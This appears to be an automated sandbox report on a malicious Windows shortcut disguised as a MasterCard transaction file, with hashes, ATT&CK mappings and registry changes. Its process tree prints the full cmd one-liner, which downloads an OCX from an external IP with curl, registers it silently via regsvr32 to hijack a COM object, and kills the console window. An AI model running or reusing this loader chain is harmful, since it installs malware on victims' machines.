035abc7f8e4486031f99cf2c1e1d0713b09972d323d58b1ad1e740d6baddda9c

General

Target
MasterCard-TXN-MTP34.lnk
Size 2KB
Sample260925-my39gswt3k
SHA256 035abc7f8e4486031f99cf2c1e1d0713b09972d323d58b1ad1e740d6baddda9c
MD5 c9432e0b2e01e19857a13a7a6cef4763
SHA1 872b2d6ded0569ee6cdb1d90defc53e673c78bb2
SHA512 6648e16f1628dc97a48b6239c917f2374702787e839aa7c664440378a3008449724bcdbb88009885057d2b560322a3c71a7bf5a5defc89da34db7ec577bdffd9
TLSH
T13F51C7052BFD6364F3B3AAB758B9D7124A36F4A1FE32CB2C414085CC2425502A936F1B
MD5 SHA1 SHA512 TLSH

Score

8^/10

defense_evasion execution persistence privilege_escalation

Malware Config

Signatures

Downloads MZ/PE file 1 IoCs

flow	pid	Process
3	1728	curl.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Loads dropped DLL 1 IoCs

pid	Process
4840	regsvr32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5836	cmd.exe
5548	cmd.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
5296	taskkill.exe

Modifies registry class 25 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\CLSID\{ADA7EFCA-6EDB-46D7-AC26-D5F74EF8EBAB}	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\CLSID\{ADA7EFCA-6EDB-46D7-AC26-D5F74EF8EBAB}\InprocServer32\ThreadingModel = "Both"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\CLSID\{ADA7EFCA-6EDB-46D7-AC26-D5F74EF8EBAB}\Control	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Ijmaegh.Nvespq\ = "Ijmaegh Nvespq"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Ijmaegh.Nvespq\CLSID	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Ijmaegh.Nvespq\CurVer\ = "Ijmaegh.Nvespq.1"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Ijmaegh.Nvespq.1	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Ijmaegh.Nvespq.1\CLSID\ = "{ADA7EFCA-6EDB-46D7-AC26-D5F74EF8EBAB}"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\CLSID\{ADA7EFCA-6EDB-46D7-AC26-D5F74EF8EBAB}\InprocServer32	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\CLSID\{ADA7EFCA-6EDB-46D7-AC26-D5F74EF8EBAB}\InprocServer32\ = "C:\\ProgramData\\COM\\ComUpdater.ocx"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\CLSID\{ADA7EFCA-6EDB-46D7-AC26-D5F74EF8EBAB}\VersionIndependentProgID	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\CLSID\{ADA7EFCA-6EDB-46D7-AC26-D5F74EF8EBAB}\Programmable\	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Ijmaegh.Nvespq\CLSID\ = "{ADA7EFCA-6EDB-46D7-AC26-D5F74EF8EBAB}"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\CLSID\{ADA7EFCA-6EDB-46D7-AC26-D5F74EF8EBAB}\ProgID	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\CLSID\{ADA7EFCA-6EDB-46D7-AC26-D5F74EF8EBAB}\ProgID\ = "Ijmaegh.Nvespq.1"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\CLSID\{ADA7EFCA-6EDB-46D7-AC26-D5F74EF8EBAB}\VersionIndependentProgID\ = "Ijmaegh.Nvespq"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Ijmaegh.Nvespq	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Ijmaegh.Nvespq\CurVer	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Ijmaegh.Nvespq.1\CLSID	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\CLSID\{ADA7EFCA-6EDB-46D7-AC26-D5F74EF8EBAB}\ = "Ijmaegh Nvespq"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\CLSID\{ADA7EFCA-6EDB-46D7-AC26-D5F74EF8EBAB}\Control\	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\CLSID\{ADA7EFCA-6EDB-46D7-AC26-D5F74EF8EBAB}\Programmable	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\CLSID\{ADA7EFCA-6EDB-46D7-AC26-D5F74EF8EBAB}\MiscStatus	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\CLSID\{ADA7EFCA-6EDB-46D7-AC26-D5F74EF8EBAB}\MiscStatus\ = "148624"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Ijmaegh.Nvespq.1\ = "Ijmaegh Nvespq"	regsvr32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5296	taskkill.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4840	regsvr32.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 5548 wrote to memory of 5836	5548	cmd.exe	90
PID 5836 wrote to memory of 1728	5836	cmd.exe	91
PID 5836 wrote to memory of 4840	5836	cmd.exe	92
PID 5836 wrote to memory of 5296	5836	cmd.exe	93

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	3	curl/8.8.0

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\MasterCard-TXN-MTP34.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /v:on /c if not exist "C:\ProgramData\COM" mkdir "C:\ProgramData\COM" & set "H=http://209.250.241.80:8080" & set "P=/cloud/ComUpdater.ocx" & for %A in (!H!!P!) do (C:\Windows\System32\curl.exe -sS -L -f -o "C:\Users\Admin\AppData\Local\Temp\ComUpdater.ocx.part" %A && move /y "C:\Users\Admin\AppData\Local\Temp\ComUpdater.ocx.part" "C:\ProgramData\COM\ComUpdater.ocx" >nul && start "" C:\Windows\System32\regsvr32.exe /s /i "C:\ProgramData\COM\ComUpdater.ocx") & title _dpclose_& taskkill /F /FI "WINDOWTITLE eq _dpclose_*" /FI "IMAGENAME eq cmd.exe" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5836
- - C:\Windows\System32\curl.exe
    C:\Windows\System32\curl.exe -sS -L -f -o "C:\Users\Admin\AppData\Local\Temp\ComUpdater.ocx.part" http://209.250.241.80:8080/cloud/ComUpdater.ocx
    3⤵
    - Downloads MZ/PE file
    PID:1728
- - C:\Windows\System32\regsvr32.exe
    C:\Windows\System32\regsvr32.exe /s /i "C:\ProgramData\COM\ComUpdater.ocx"
    3⤵
    - Loads dropped DLL
    - Modifies registry class
    - Suspicious use of SetWindowsHookEx
    PID:4840
- - C:\Windows\system32\taskkill.exe
    taskkill /F /FI "WINDOWTITLE eq _dpclose_*" /FI "IMAGENAME eq cmd.exe"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5296

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

Windows Command Shell

1

T1059.003

Persistence

Event Triggered Execution

1

T1546

Component Object Model Hijacking

1

T1546.015

Privilege Escalation

Event Triggered Execution

1

T1546

Component Object Model Hijacking

1

T1546.015

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

device_id

Path C:\ProgramData\COM\device_id
Size 12B
SHA256 d38a6275b17e4e058efcfd1b592e255a45c801a730b7229da76bd210682c09a4
MD5 022bd3cafb1b4051b4afa7aa60e3ad2b
SHA1 62a34f2da4326d0e342a2f959cc165d7ff103857
SHA512 3a0d03c1e34db53509ca9c0bda3b467c15cea4fe0d01b10903de4b1410cd4a8b17d78c7f25140d9816bc3dfd9692c68f7ba67df8ebb1c932575ac8c1cff09bd4
MD5 SHA1 SHA512

Submit Download

ComUpdater.ocx.part

Path C:\Users\Admin\AppData\Local\Temp\ComUpdater.ocx.part
Size 694KB
SHA256 ef743d9f09e3f1142ec9f024ecc9d2e8fa66cefaa5f0ec061d7390bfa8da8f13
MD5 8daa807d2b1754233c65925a3a1daaae
SHA1 2efa208423293ba3823aa2006a34cbf9472c0136
SHA512 d7e51c4597dc3db0562af446d83ad62fa4e733f85ff7e439c602e730626570a1caba7980b4331f632d80b93e3fafd8833504601c5c976aa0e64ddace921a5d9c
SSDEEP 12288:2r0JSkCxYohsGdKdibaKW6n9G1lGUKE6wsW8sjQfhZDwu:vSkEY1GdWAaKtn9G1cUV6wzyZDwu
TLSH
T1EBE46E2A9784027CE0A6C279CE878D56E775B40A03F16EEF23D446A15F676E05F3A313
MD5 SHA1 SHA512 SSDEEP TLSH